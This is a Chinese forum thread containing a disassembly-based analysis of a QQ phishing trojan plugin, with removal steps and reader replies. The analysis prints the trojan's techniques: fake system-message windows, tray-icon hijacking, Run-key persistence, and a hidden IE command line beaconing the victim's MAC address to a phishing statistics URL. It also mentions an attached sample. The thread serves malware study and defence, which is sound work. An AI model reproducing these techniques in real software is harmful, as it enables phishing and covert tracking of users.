zzage 发表于 2008-11-24 17:39

分析某个QQ的钓鱼木马插件

【文章标题】分析某个QQ的钓鱼木马插件
【文章作者】ZzAge
【文章目标】某QQ钓鱼木马插件
【相关工具】ollydbg
【作者 Q Q】85400516
【作者邮箱】zzage@163.com
【作者主页】http://hi.baidu.com/zzage
【文章日期】2008年11月24日

这个QQ钓鱼木马插件,挺逼真的,好像前阵子TX也都在提示小心中奖信息,估计就是这类QQ钓鱼木马插件的问题吧
附件有个样本,解压密码为:52pojie

一:动态创建假QQ系统消息窗口,用来钓鱼...
00110585    33D2            xor   edx, edx
00110587    E8 C4B7FFFF   call    0010BD50                         ; 动态创建假QQ系统消息窗体
0011058C    A1 80131100   mov   eax, dword ptr
-----------
0010DC65    B9 00E01000   mov   ecx, 0010E000                  ; ASCII "Install"
0010DC6A    BA 10E01000   mov   edx, 0010E010                  ; ASCII "SOFTWARE\Tencent\QQ"
0010DC6F    B8 02000080   mov   eax, 80000002
0010DC74    E8 7FE5FFFF   call    0010C1F8                         ; 取QQ路径
-----------
0010DDC6    BA 2CE01000   mov   edx, 0010E02C                  ; ASCII "c:\tmpqq10000.tmp"
0010DDCB    E8 F856FFFF   call    001034C8
0010DDD0    8B4D F8         mov   ecx, dword ptr
0010DDD3    BA 48E01000   mov   edx, 0010E048                  ; ASCII "msg"
0010DDD8    B8 54E01000   mov   eax, 0010E054                  ; ASCII "mymsg"
0010DDDD    E8 4EFDFFFF   call    0010DB30                         ; 释放资源,里面是一些加密的钓鱼站点,统计地址,和钓鱼信息
-------------
0010DE7F    64:FF30         push    dword ptr fs:
0010DE82    64:8920         mov   dword ptr fs:, esp
0010DE85    8D55 D4         lea   edx, dword ptr
0010DE88    A1 F0261100   mov   eax, dword ptr
0010DE8D    E8 AEEBFFFF   call    0010CA40                         ; 解密钓鱼网站,算法有兴趣可以看
0010DE92    8B55 D4         mov   edx, dword ptr
0010DE95    B8 F0261100   mov   eax, 001126F0


二:建立消息循环机制





0010841A    E8 81C3FFFF   call    <jmp.&user32.TranslateMes>; 要处理的消息.看堆栈信息
0010841F    54            push    esp
00108420    E8 03C2FFFF   call    <jmp.&user32.DispatchMess>; callback=109954就是要处理的消息call
00108425    8BC3            mov   eax, ebx
00108427    83C4 1C         add   esp, 1C
0010842A    5E            pop   esi
0010842B    5B            pop   ebx
0010842C    C3            retn
堆栈信息
0027FF74   0027FF78\pMsg = WM_TIMER hw = 19101E (class="obj_") ID = B007C4 Callback = 109954


三:QQ钓鱼插件的关键CALL,
00109954    55            push    ebp
00109955    8BEC            mov   ebp, esp
00109957    53            push    ebx
00109958    8B45 10         mov   eax, dword ptr
0010995B    66:8378 23 00   cmp   word ptr , 0
00109960    74 0A         je      short 0010996C
00109962    8BD8            mov   ebx, eax
00109964    8BD0            mov   edx, eax
00109966    8B43 25         mov   eax, dword ptr
00109969    FF53 21         call    dword ptr       ; QQ钓鱼插件的关键CALL,其行为主要在110298这里面~
0010996C    33C0            xor   eax, eax
0010996E    5B            pop   ebx
0010996F    5D            pop   ebp
00109970    C2 1000         retn    10


四:枚举QQ进程

0010C8BB    8D85 BCFEFFFF   lea   eax, dword ptr
0010C8C1    BA 1CCA1000   mov   edx, 0010CA1C                     ; ASCII "qq.EXE"
0010C8C6    E8 FD6BFFFF   call    001034C8
0010C8CB    6A 00         push    0
0010C8CD    6A 0F         push    0F
0010C8CF    E8 5CFFFFFF   call    <jmp.&kernel32.CreateToolhelp32Sn>; 建立进程快照
0010C8D4    8BF0            mov   esi, eax
0010C8D6    C785 D7FEFFFF 2>mov   dword ptr , 128
0010C8E0    8D85 D7FEFFFF   lea   eax, dword ptr
0010C8E6    50            push    eax
0010C8E7    56            push    esi
0010C8E8    E8 4BFFFFFF   call    <jmp.&kernel32.Process32First>    ; 开始枚举QQ进程
0010C8ED    83F8 01         cmp   eax, 1
0010C8F0    1BDB            sbb   ebx, ebx
0010C8F2    43            inc   ebx
0010C8F3    E9 80000000   jmp   0010C978
0010C8F8    8D95 A0FEFFFF   lea   edx, dword ptr
0010C8FE    8B85 BCFEFFFF   mov   eax, dword ptr
0010C904    E8 B393FFFF   call    00105CBC
0010C909    8B85 A0FEFFFF   mov   eax, dword ptr
0010C90F    50            push    eax
0010C910    8D85 94FEFFFF   lea   eax, dword ptr
0010C916    8D95 FBFEFFFF   lea   edx, dword ptr
0010C91C    B9 04010000   mov   ecx, 104
0010C921    E8 426DFFFF   call    00103668
0010C926    8B85 94FEFFFF   mov   eax, dword ptr
0010C92C    8D95 98FEFFFF   lea   edx, dword ptr
0010C932    E8 0598FFFF   call    0010613C
0010C937    8B85 98FEFFFF   mov   eax, dword ptr
0010C93D    8D95 9CFEFFFF   lea   edx, dword ptr
0010C943    E8 7493FFFF   call    00105CBC
0010C948    8B85 9CFEFFFF   mov   eax, dword ptr
0010C94E    5A            pop   edx
0010C94F    E8 2494FFFF   call    00105D78
0010C954    85C0            test    eax, eax
0010C956    75 06         jnz   short 0010C95E
0010C958    C645 FF 01      mov   byte ptr , 1
0010C95C    EB 22         jmp   short 0010C980
0010C95E    8D85 D7FEFFFF   lea   eax, dword ptr
0010C964    50            push    eax
0010C965    56            push    esi
0010C966    E8 D5FEFFFF   call    <jmp.&kernel32.Process32Next>
0010C96B    83F8 01         cmp   eax, 1
0010C96E    1BDB            sbb   ebx, ebx
0010C970    43            inc   ebx
0010C971    6A 01         push    1
0010C973    E8 307BFFFF   call    <jmp.&kernel32.Sleep>
0010C978    84DB            test    bl, bl
0010C97A^ 0F85 78FFFFFF   jnz   0010C8F8
0010C980    56            push    esi
0010C981    E8 027AFFFF   call    <jmp.&kernel32.CloseHandle>


五:判断QQ进程当前状态

0010C98A   /74 17         je      short 0010C9A3                  ; 判断QQ进程当前状态
0010C98C   |68 24CA1000   push    0010CA24
0010C991   |68 30CA1000   push    0010CA30                        ; ASCII "#32770"
0010C996   |E8 A57CFFFF   call    <jmp.&user32.FindWindowA>
0010C99B   |85C0            test    eax, eax
0010C99D   |76 04         jbe   short 0010C9A3
0010C99F   |C645 FF 00      mov   byte ptr , 0
0010C9A3   \807D FF 00      cmp   byte ptr , 0
0010C9A7    74 17         je      short 0010C9C0
0010C9A9    68 38CA1000   push    0010CA38                        ; ASCII "QQ登录"
0010C9AE    68 30CA1000   push    0010CA30                        ; ASCII "#32770"
0010C9B3    E8 887CFFFF   call    <jmp.&user32.FindWindowA>
0010C9B8    85C0            test    eax, eax
0010C9BA    76 04         jbe   short 0010C9C0
0010C9BC    C645 FF 00      mov   byte ptr , 0
0010C9C0    807D FF 00      cmp   byte ptr , 0
0010C9C4    74 08         je      short 0010C9CE


六:应用程序的托盘图标是放在TrayNotifyWnd的子窗口ToolbarWindow32里的,所以以下的动作主要说要找QQ的托盘图标的句柄~

0010C31C    6A 00         push    0
0010C31E    68 58C31000   push    0010C358                         ; ASCII "Shell_TrayWnd"
0010C323    E8 1883FFFF   call    <jmp.&user32.FindWindowA>      ; 桌面上任务栏的句柄
0010C328    6A 00         push    0
0010C32A    68 68C31000   push    0010C368                         ; ASCII "TrayNotifyWnd"
0010C32F    6A 00         push    0
0010C331    50            push    eax
0010C332    E8 1183FFFF   call    <jmp.&user32.FindWindowExA>
0010C337    6A 00         push    0
0010C339    68 78C31000   push    0010C378                         ; ASCII "SysPager"
0010C33E    6A 00         push    0
0010C340    50            push    eax
0010C341    E8 0283FFFF   call    <jmp.&user32.FindWindowExA>      ; 系统托盘区域句柄
0010C346    6A 00         push    0
0010C348    68 84C31000   push    0010C384                         ; ASCII "ToolbarWindow32"
0010C34D    6A 00         push    0
0010C34F    50            push    eax
0010C350    E8 F382FFFF   call    <jmp.&user32.FindWindowExA>      ; 取得系统托盘句柄
0010C355    C3   


七:系统托盘图标的进程




0010C44C    E8 8782FFFF   call    <jmp.&user32.GetWindowThreadProce>; 打开系统托盘图标的进程explorer.exe
0010C451    8B45 F0         mov   eax, dword ptr
0010C454    50            push    eax
0010C455    6A 00         push    0
0010C457    6A 38         push    38
0010C459    E8 2280FFFF   call    <jmp.&kernel32.OpenProcess>
0010C45E    8BD8            mov   ebx, eax
0010C460    6A 04         push    4
0010C462    68 00300000   push    3000
0010C467    68 00100000   push    1000
0010C46C    6A 00         push    0
0010C46E    53            push    ebx
0010C46F    E8 3C80FFFF   call    <jmp.&kernel32.VirtualAllocEx>
0010C474    8945 F4         mov   dword ptr , eax
0010C477    E8 2CFFFFFF   call    0010C3A8 ; 获取Windows操作系统版本
0010C47C    8D85 B0FBFFFF   lea   eax, dword ptr
0010C482    50            push    eax
0010C483    A1 54131100   mov   eax, dword ptr
0010C488    8985 A0FBFFFF   mov   dword ptr , eax
0010C48E    C685 A4FBFFFF 0>mov   byte ptr , 0
0010C495    A1 58131100   mov   eax, dword ptr
0010C49A    8985 A8FBFFFF   mov   dword ptr , eax
0010C4A0    C685 ACFBFFFF 0>mov   byte ptr , 0
0010C4A7    8D95 A0FBFFFF   lea   edx, dword ptr
0010C4AD    B9 01000000   mov   ecx, 1
0010C4B2    B8 E4C71000   mov   eax, 0010C7E4                  ; ASCII "%d.%d"
0010C4B7    E8 3C9BFFFF   call    00105FF8
0010C4BC    8B85 B0FBFFFF   mov   eax, dword ptr
0010C4C2    BA F4C71000   mov   edx, 0010C7F4                  ; ASCII "5.1"
0010C4C7    E8 1473FFFF   call    001037E0
0010C4CC    0F82 3C010000   jb      0010C60E; 因为w95跟w98和w2000的托盘图标放的地方不一样,所以这里加个判断



八:看堆栈地址和数据窗口

0010C691    E8 FA7DFFFF   call    <jmp.&kernel32.ReadProcessMemory>
0010C696    8D45 EC         lea   eax, dword ptr
0010C699    50            push    eax
0010C69A    68 01040000   push    401
0010C69F    8D85 B6FBFFFF   lea   eax, dword ptr
0010C6A5    50            push    eax
0010C6A6    8B45 F4         mov   eax, dword ptr
0010C6A9    83C0 70         add   eax, 70
0010C6AC    50            push    eax
0010C6AD    53            push    ebx
0010C6AE    E8 DD7DFFFF   call    <jmp.&kernel32.ReadProcessMemory>
0010C6B3    8D45 E8         lea   eax, dword ptr
0010C6B6    8D95 B6FBFFFF   lea   edx, dword ptr           ; 返回指定托盘图标的按钮指定文本
0010C6BC    B9 01040000   mov   ecx, 401
0010C6C1    E8 A26FFFFF   call    00103668


九:创建注册表自启动,以便下次系统启动自动运行
0010EF6A    8D55 FC         lea   edx, dword ptr
0010EF6D    B8 54F01000   mov   eax, 0010F054                         ; ASCII "1ntrenat                      "
0010EF72    E8 F56CFFFF   call    00105C6C
0010EF77    8D45 F8         lea   eax, dword ptr
0010EF7A    E8 B144FFFF   call    00103430
0010EF7F    837D FC 00      cmp   dword ptr , 0
0010EF83    74 41         je      short 0010EFC6
0010EF85    8D55 F0         lea   edx, dword ptr
0010EF88    33C0            xor   eax, eax
0010EF8A    E8 0D6FFFFF   call    00105E9C
0010EF8F    8B45 F0         mov   eax, dword ptr
0010EF92    50            push    eax
0010EF93    8B4D FC         mov   ecx, dword ptr
0010EF96    BA 7CF01000   mov   edx, 0010F07C                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run"
0010EF9B    B8 02000080   mov   eax, 80000002
0010EFA0    E8 67DCFFFF   call    0010CC0C                              ; 创建注册表自启动
0010EFA5    8D45 EC         lea   eax, dword ptr
0010EFA8    50            push    eax
0010EFA9    8B4D FC         mov   ecx, dword ptr
0010EFAC    BA 7CF01000   mov   edx, 0010F07C                         ; ASCII "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run"
0010EFB1    B8 02000080   mov   eax, 80000002
0010EFB6    E8 3DD2FFFF   call    0010C1F8


十:解密加密的钓鱼信息

0010EFC6    8D55 E8         lea   edx, dword ptr
0010EFC9    B8 C4F01000   mov   eax, 0010F0C4                         ; ASCII "323039363032383733323837343738336A747D763A2D27707475267675767B732C63672962637F666D6527                                                                                          "
0010EFCE    E8 996CFFFF   call    00105C6C
0010EFD3    8B45 E8         mov   eax, dword ptr
0010EFD6    8D55 F4         lea   edx, dword ptr
0010EFD9    E8 62DAFFFF   call    0010CA40                              ; 统计地址的解密CALL,算法有兴趣的自己进去看看
0010EFDE    8D45 E4         lea   eax, dword ptr
0010EFE1    50            push    eax
0010EFE2    8D55 DC         lea   edx, dword ptr
0010EFE5    8B45 F4         mov   eax, dword ptr                 ; 解密后的http://www.qqqsp.cn/bawang/
0010EFE8    E8 CF6CFFFF call    00105CBC
0010EFED    8B45 DC   mov   eax, dword ptr
0010EFF0    8D55 E0   lea   edx, dword ptr
0010EFF3    E8 746CFFFF call    00105C6C
0010EFF8    8B45 E0   mov   eax, dword ptr
0010EFFB    B9 07000000 mov   ecx, 7
0010F000    BA 01000000 mov   edx, 1
0010F005    E8 EA48FFFF call    001038F4
0010F00A    8B45 E4   mov   eax, dword ptr
0010F00D    BA 80F11000 mov   edx, 0010F180                   ; ASCII "http://"
0010F012    E8 C947FFFF call    001037E0
0010F017    75 0B       jnz   short 0010F024
0010F019    8B55 F8   mov   edx, dword ptr
0010F01C    8B45 F4   mov   eax, dword ptr
0010F01F    E8 B8FAFFFF call    0010EADC                        ; 开始统计


十一:获取要统计的信息
0010EB06    55          push    ebp
0010EB07    68 A9ED1000 push    0010EDA9
0010EB0C    64:FF30   push    dword ptr fs:
0010EB0F    64:8920   mov   dword ptr fs:, esp
0010EB12    E8 A576FFFF call    001061BC                     ; 取本地时间
0010EB17    83C4 F8   add   esp, -8
0010EB1A    DD1C24      fstp    qword ptr
0010EB1D    9B          wait
0010EB1E    8D4D CA   lea   ecx, dword ptr
0010EB21    8D55 CC   lea   edx, dword ptr
0010EB24    8D45 CE   lea   eax, dword ptr
0010EB27    E8 FC76FFFF call    00106228
0010EB2C    8D55 D8   lea   edx, dword ptr
0010EB2F    0FB745 CE   movzx   eax, word ptr
0010EB33    E8 906FFFFF call    00105AC8
0010EB38    8D55 D4   lea   edx, dword ptr
0010EB3B    0FB745 CC   movzx   eax, word ptr
0010EB3F    E8 846FFFFF call    00105AC8
0010EB44    8B45 D4   mov   eax, dword ptr       ; 得月份
0010EB47    E8 484BFFFF call    00103694
0010EB4C    48          dec   eax
0010EB4D    75 10       jnz   short 0010EB5F
0010EB4F    8D45 D4   lea   eax, dword ptr
0010EB52    8B4D D4   mov   ecx, dword ptr
0010EB55    BA C0ED1000 mov   edx, 0010EDC0
0010EB5A    E8 814BFFFF call    001036E0
0010EB5F    8D55 D0   lea   edx, dword ptr
0010EB62    0FB745 CA   movzx   eax, word ptr
0010EB66    E8 5D6FFFFF call    00105AC8
0010EB6B    8B45 D0   mov   eax, dword ptr       ; 得日数
0010EB6E    E8 214BFFFF call    00103694
0010EB73    48          dec   eax
0010EB74    75 10       jnz   short 0010EB86
0010EB76    8D45 D0   lea   eax, dword ptr
0010EB79    8B4D D0   mov   ecx, dword ptr
0010EB7C    BA C0ED1000 mov   edx, 0010EDC0
0010EB81    E8 5A4BFFFF call    001036E0
0010EB86    FF75 D8   push    dword ptr              ; 得年份
0010EB89    68 CCED1000 push    0010EDCC
0010EB8E    FF75 D4   push    dword ptr
0010EB91    68 CCED1000 push    0010EDCC
0010EB96    FF75 D0   push    dword ptr
0010EB99    8D45 DC   lea   eax, dword ptr
0010EB9C    BA 05000000 mov   edx, 5
0010EBA1    E8 AE4BFFFF call    00103754
0010EBA6    8D45 C4   lea   eax, dword ptr
0010EBA9    BA D8ED1000 mov   edx, 0010EDD8                  ; ASCII "sysqq.dat"
0010EBAE    E8 1549FFFF call    001034C8
0010EBB3    8D55 B0   lea   edx, dword ptr
0010EBB6    8B45 FC   mov   eax, dword ptr
0010EBB9    E8 26D0FFFF call    0010BBE4
0010EBBE    8D45 B0   lea   eax, dword ptr
0010EBC1    8D55 C0   lea   edx, dword ptr
0010EBC4    E8 8FD0FFFF call    0010BC58
0010EBC9    8B45 C4   mov   eax, dword ptr
0010EBCC    50          push    eax
0010EBCD    8D45 AC   lea   eax, dword ptr
0010EBD0    50          push    eax
0010EBD1    33C9      xor   ecx, ecx
0010EBD3    BA ECED1000 mov   edx, 0010EDEC                  ; ASCII "date"
0010EBD8    8B45 C0   mov   eax, dword ptr
0010EBDB    E8 88FDFFFF call    0010E968                     ; 写统计纪录的时间
0010EBE0    8B45 AC   mov   eax, dword ptr
0010EBE3    8B55 DC   mov   edx, dword ptr
0010EBE6    E8 F54BFFFF call    001037E0
0010EBEB    0F84 830100>je      0010ED74                     ; 查sysqq.dat判断当天是否有统计记录,有纪录则跳走
sysqq.dat文件的内容

date=2008-11-23
0010EBF1    8D45 F4   lea   eax, dword ptr
0010EBF4    B9 FCED1000 mov   ecx, 0010EDFC                   ; ASCII "install.asp"
0010EBF9    8B55 FC   mov   edx, dword ptr
0010EBFC    E8 DF4AFFFF call    001036E0
0010EC01    8D45 EC   lea   eax, dword ptr
0010EC04    E8 7BFAFFFF call    0010E684                        ; 取网卡MAC地址
0010EC09    837D F8 00cmp   dword ptr , 0
0010EC0D    75 0F       jnz   short 0010EC1E
0010EC0F    8D45 E4   lea   eax, dword ptr
0010EC12    BA C0ED1000 mov   edx, 0010EDC0
0010EC17    E8 AC48FFFF call    001034C8
0010EC1C    EB 0D       jmp   short 0010EC2B
0010EC1E    8D45 E4   lea   eax, dword ptr
0010EC21    BA 10EE1000 mov   edx, 0010EE10
0010EC26    E8 9D48FFFF call    001034C8
0010EC2B    8D55 A8   lea   edx, dword ptr
0010EC2E    B8 1CEE1000 mov   eax, 0010EE1C                   ; ASCII "0      "
0010EC33    E8 3470FFFF call    00105C6C
0010EC38    8B45 A8   mov   eax, dword ptr
0010EC3B    BA 10EE1000 mov   edx, 0010EE10
0010EC40    E8 9B4BFFFF call    001037E0
0010EC45    75 0D       jnz   short 0010EC54
0010EC47    8D45 E4   lea   eax, dword ptr
0010EC4A    BA 10EE1000 mov   edx, 0010EE10
0010EC4F    E8 7448FFFF call    001034C8
0010EC54    68 2CEE1000 push    0010EE2C                        ; ASCII "ver="
0010EC59    8D55 A4   lea   edx, dword ptr
0010EC5C    B8 3CEE1000 mov   eax, 0010EE3C                   ; ASCII "081020    "
0010EC61    E8 0670FFFF call    00105C6C
0010EC66    FF75 A4   push    dword ptr
0010EC69    68 50EE1000 push    0010EE50                        ; ASCII "&tgid="
0010EC6E    8D55 A0   lea   edx, dword ptr
0010EC71    B8 60EE1000 mov   eax, 0010EE60                   ; ASCII "myself                  "
0010EC76    E8 F16FFFFF call    00105C6C
0010EC7B    FF75 A0   push    dword ptr
0010EC7E    68 84EE1000 push    0010EE84                        ; ASCII "&address="
0010EC83    FF75 EC   push    dword ptr
0010EC86    68 98EE1000 push    0010EE98                        ; ASCII "&reg;k="
0010EC8B    FF75 E4   push    dword ptr
0010EC8E    8D45 F0   lea   eax, dword ptr
0010EC91    BA 08000000 mov   edx, 8
0010EC96    E8 B94AFFFF call    00103754
0010EC9B    8D55 E0   lea   edx, dword ptr
0010EC9E    B8 A8EE1000 mov   eax, 0010EEA8                   ; ASCII "3137393731303537373030313536343430353A33                                                            "
0010ECA3    E8 C46FFFFF call    00105C6C
0010ECA8    33C0      xor   eax, eax
0010ECAA    55          push    ebp
0010ECAB    68 D6EC1000 push    0010ECD6
0010ECB0    64:FF30   push    dword ptr fs:
0010ECB3    64:8920   mov   dword ptr fs:, esp
0010ECB6    8D55 9C   lea   edx, dword ptr
0010ECB9    8B45 E0   mov   eax, dword ptr
0010ECBC    E8 7FDDFFFF call    0010CA40
0010ECC1    8B55 9C   mov   edx, dword ptr
0010ECC4    8D45 E0   lea   eax, dword ptr
0010ECC7    E8 FC47FFFF call    001034C8
0010ECCC    33C0      xor   eax, eax
0010ECCE    5A          pop   edx
0010ECCF    59          pop   ecx
0010ECD0    59          pop   ecx
0010ECD1    64:8910   mov   dword ptr fs:, edx
0010ECD4    EB 12       jmp   short 0010ECE8
0010ECD6^ E9 7D40FFFF jmp   00102D58
0010ECDB    8D45 E0   lea   eax, dword ptr
0010ECDE    E8 4D47FFFF call    00103430
0010ECE3    E8 2842FFFF call    00102F10
0010ECE8    68 18EF1000 push    0010EF18                        ; ASCII "pwd"
0010ECED    FF75 F0   push    dword ptr
0010ECF0    FF75 E0   push    dword ptr
0010ECF3    8D45 98   lea   eax, dword ptr
0010ECF6    BA 03000000 mov   edx, 3
0010ECFB    E8 544AFFFF call    00103754
0010ED00    8B45 98   mov   eax, dword ptr
0010ED03    8D55 B0   lea   edx, dword ptr
0010ED06    E8 D9CEFFFF call    0010BBE4
0010ED0B    8D45 B0   lea   eax, dword ptr
0010ED0E    8D55 E8   lea   edx, dword ptr
0010ED11    E8 42CFFFFF call    0010BC58
0010ED16    FF75 F4   push    dword ptr                ; http://www.qqqsp.cn/bawang/install.asp
0010ED19    68 24EF1000 push    0010EF24
0010ED1E    FF75 F0   push    dword ptr
0010ED21    68 30EF1000 push    0010EF30                        ; ASCII "&flag="
0010ED26    FF75 E8   push    dword ptr
0010ED29    68 40EF1000 push    0010EF40                        ; ASCII "&frandom="


十二 开始发送统计信息




0010E512    8D45 DC   lea   eax, dword ptr
0010E515    E8 32FDFFFF call    0010E24C                     ; 查找IE路径
0010E51A    8B55 DC   mov   edx, dword ptr
0010E51D    8D45 EC   lea   eax, dword ptr
0010E520    B9 44E61000 mov   ecx, 0010E644                  ; ASCII "iexplore.exe "
0010E525    E8 B651FFFF call    001036E0
0010E52A    FF75 EC   push    dword ptr              ; C:\program files\internet explorer\iexplore.exe
0010E52D    68 5CE61000 push    0010E65C                     ; ASCII " """
0010E532    FF75 FC   push    dword ptr
0010E535    68 68E61000 push    0010E668
0010E53A    8D45 F0   lea   eax, dword ptr
0010E53D    BA 04000000 mov   edx, 4
0010E542    E8 0D52FFFF call    00103754
0010E547    8D45 F4   lea   eax, dword ptr
0010E54A    BA 74E61000 mov   edx, 0010E674                  ; ASCII "IEFrame"
0010E54F    E8 744FFFFF call    001034C8
0010E554    8D55 E8   lea   edx, dword ptr
0010E557    8B45 F4   mov   eax, dword ptr
0010E55A    E8 F1FDFFFF call    0010E350
0010E55F    6A 00       push    0
0010E561    8B45 F0   mov   eax, dword ptr
0010E564    E8 2B53FFFF call    00103894
0010E569    50          push    eax
0010E56A    E8 595FFFFF call    <jmp.&kernel32.WinExec>      ; 以隐藏运行IE的发式访问统计地址
WinExe运行的参数
0027FD18   00B0C250|CmdLine = "C:\program files\internet explorer\iexplore.exe""http://www.qqqsp.cn/bawang/install.asp?ver=081020&tgid=myself&address=00-19-21-35-0B-BE&reg;k=1&flag=9ebc529f4d7f1f8b729e40ddff6338b2&frandom=6272"""
0027FD1C   00000000\ShowState = SW_HIDE
0010E56F    68 C4090000 push    9C4
0010E574    E8 2F5FFFFF call    <jmp.&kernel32.Sleep>
0010E579    C645 FB 01mov   byte ptr , 1
0010E57D    8D55 E4   lea   edx, dword ptr
0010E580    8B45 F4   mov   eax, dword ptr
0010E583    E8 C8FDFFFF call    0010E350                        ; 通过查询IE句柄然后查IE标题,确定运行的IE,等下关闭
0010E588    8B45 E4   mov   eax, dword ptr
0010E58B    E8 6CC7FFFF call    0010ACFC
0010E590    8BD8      mov   ebx, eax
0010E592    68 10270000 push    2710
0010E597    E8 0C5FFFFF call    <jmp.&kernel32.Sleep>
0010E59C    85DB      test    ebx, ebx
0010E59E    7E 53       jle   short 0010E5F3
0010E5A0    BE 01000000 mov   esi, 1
0010E5A5    8D4D E0   lea   ecx, dword ptr
0010E5A8    8BD6      mov   edx, esi
0010E5AA    4A          dec   edx
0010E5AB    8B45 E4   mov   eax, dword ptr
0010E5AE    E8 1DC8FFFF call    0010ADD0
0010E5B3    8B55 E0   mov   edx, dword ptr
0010E5B6    8B45 E8   mov   eax, dword ptr
0010E5B9    E8 32CAFFFF call    0010AFF0
0010E5BE    40          inc   eax
0010E5BF    75 2E       jnz   short 0010E5EF
0010E5C1    8B45 E0   mov   eax, dword ptr
0010E5C4    E8 DB75FFFF call    00105BA4
0010E5C9    50          push    eax
0010E5CA    E8 2161FFFF call    <jmp.&user32.IsWindowEnabled>   ; 判断IE窗口是否处于活动状态
0010E5CF    85C0      test    eax, eax
0010E5D1    74 20       je      short 0010E5F3
0010E5D3    6A 00       push    0
0010E5D5    68 60F00000 push    0F060
0010E5DA    68 12010000 push    112
0010E5DF    8B45 E0   mov   eax, dword ptr
0010E5E2    E8 BD75FFFF call    00105BA4
0010E5E7    50          push    eax
0010E5E8    E8 6B61FFFF call    <jmp.&user32.SendMessageA>      ; 发送系统命令消息SC_CLOSE,关闭IE进程
0010E5ED    EB 04       jmp   short 0010E5F3


十三:开始钓鱼动作

00110397    8B45 F0   mov   eax, dword ptr
0011039A    E8 79FBFFFF call    0010FF18                     ; 取QQ托盘图标的按钮文字和句柄,并通过发送消息隐藏QQ托盘图标
0011039F    6A 64       push    64
001103A1    E8 0241FFFF call    <jmp.&kernel32.Sleep>
001103A6    8B43 28   mov   eax, dword ptr
001103A9    B2 01       mov   dl, 1
001103AB    E8 D48FFFFF call    00109384                     ; 为假QQ消息窗口增加托盘图标
001103B0    6A 01       push    1
001103B2    6A 00       push    0
001103B4    8D45 EC   lea   eax, dword ptr
001103B7    B9 54041100 mov   ecx, 00110454                ; ASCII "sound\system.wav"
001103BC    8B15 BC2611>mov   edx, dword ptr
001103C2    E8 1933FFFF call    001036E0                     ; 取QQ系统消息音乐文件的路径
001103C7    8B45 EC   mov   eax, dword ptr
001103CA    E8 C534FFFF call    00103894
001103CF    50          push    eax
001103D0    E8 1BBEFFFF call    <jmp.&winmm.PlaySound>       ; 然后播放QQ系统消息音乐文件
001103D5    8B43 24   mov   eax, dword ptr
001103D8    B2 01       mov   dl, 1
001103DA    8B08      mov   ecx, dword ptr
001103DC    FF51 08   call    dword ptr             ; 通过定时器,动态运行这个假QQ系统消息托盘图标
001103DF    EB 17       jmp   short 001103F8


十四

消息循环等待鼠标双击假的QQ系统托盘图标...
点击就显示假的QQ系统消息....然后发送消息显示真的QQ图标托盘~
基本上整个QQ钓鱼插件的运作过程差不多就这样!
出现这个提示中奖的消息,然后点击查看详情,或者查看按钮,就到了...钓鱼者事先设置好的网页...

木马清除方法:
清除这个QQ钓鱼木马插件很简单,先关掉这个QQ钓鱼木马插件的进程,然后打开注册表,删除Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run这个表项,最后删除QQ钓鱼木马插件,就这样...

PS:虽然掉馅饼的事可能会有,那几率几乎为0.00000......1,在网上一般不要相信什么中奖信息,基本上都是骗人的!
粗略分析一下,呵呵,有什么不对的地方,请多多指教....

-------------From:ZzAge   {www.52pojie.cn}-------------------

ximo 发表于 2008-11-24 17:51

做在沙发上学习,膜拜ZZ神牛

XuZhenG 发表于 2008-11-24 18:04

这个。。。

ZZ的强大已经Beyand Word了...

zxcqq8520 发表于 2008-11-24 18:17

很强大。。。膜拜下

小生我怕怕 发表于 2008-11-24 18:34

膜拜Z牛,学习下!

mycsy 发表于 2008-11-24 19:16

额 样本一旦献世

生成器会不会泛滥呢

哈哈~

膜拜Z牛~

bbvbvbbv 发表于 2008-11-24 20:08

太强悍了....支持楼主............

pooptone 发表于 2008-11-25 00:45

太强大了
学习学习,貌似不好学

鬼手 发表于 2008-11-25 13:42

挖,太多了.看的我眼睛都花了.还是看不懂.,

ghost286 发表于 2008-11-26 12:26

牛X
不相信天上会掉馅饼就可以了
页: [1] 2 3 4 5 6 7 8
查看完整版本: 分析某个QQ的钓鱼木马插件